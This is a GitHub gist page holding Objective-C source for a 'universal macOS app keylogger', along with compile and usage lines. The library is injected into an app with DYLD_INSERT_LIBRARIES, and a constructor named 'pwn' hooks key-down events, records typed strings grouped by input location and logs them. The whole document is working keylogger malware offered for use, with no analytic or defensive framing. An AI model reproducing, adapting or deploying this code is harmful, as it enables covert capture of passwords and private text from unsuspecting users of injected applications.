-
-
Save slyd0g/fd98836b808eb6de4b96a80d949a0bc6 to your computer and use it in GitHub Desktop.
Universal macOS app keylogger that tracks input locations
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Info: | |
// Universal macOS keylogger that tracks input locations. It's injected per app as it doesn't require having global keyboard capturing permission | |
// Compilation: | |
// gcc -dynamiclib /tmp/keylogger.m -o /tmp/keylogger.dylib -framework Foundation -framework Appkit -arch x86_64 -arch arm64 | |
// Usage: | |
// DYLD_INSERT_LIBRARIES=/tmp/keylogger.dylib /path/to/app/Contents/MacOS/App | |
#import <Foundation/Foundation.h> | |
#import <AppKit/AppKit.h> | |
@interface KeyloggerSingleton : NSObject | |
@property (atomic) NSPoint lastLocation; | |
@property (atomic, retain) NSMutableString *recordedString; | |
+ (id)sharedKeylogger; | |
@end | |
@implementation KeyloggerSingleton | |
@synthesize lastLocation; | |
@synthesize recordedString; | |
+ (id)sharedKeylogger { | |
static KeyloggerSingleton *sharedInstance = nil; | |
static dispatch_once_t onceToken; | |
dispatch_once(&onceToken, ^{ | |
sharedInstance = [KeyloggerSingleton new]; | |
}); | |
return sharedInstance; | |
} | |
- (instancetype)init { | |
if (self = [super init]) { | |
self.lastLocation = NSPointFromString(@"0,0"); | |
self.recordedString = [NSMutableString string]; | |
} | |
return self; | |
} | |
@end | |
__attribute__((constructor)) static void pwn(int argc, const char **argv) { | |
NSLog(@"[*] Dylib injected"); | |
[NSEvent addLocalMonitorForEventsMatchingMask:NSEventMaskKeyDown handler:^NSEvent * _Nullable(NSEvent * _Nonnull event) { | |
if(event.locationInWindow.x == [KeyloggerSingleton.sharedKeylogger lastLocation].x && event.locationInWindow.y == [KeyloggerSingleton.sharedKeylogger lastLocation].y) { | |
[[KeyloggerSingleton.sharedKeylogger recordedString] appendString:event.characters]; | |
} else { | |
[[KeyloggerSingleton.sharedKeylogger recordedString] setString:event.characters]; | |
[KeyloggerSingleton.sharedKeylogger setLastLocation:event.locationInWindow]; | |
} | |
NSLog(@"[*] Recorded string: %@", [KeyloggerSingleton.sharedKeylogger recordedString]); | |
return event; | |
}]; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment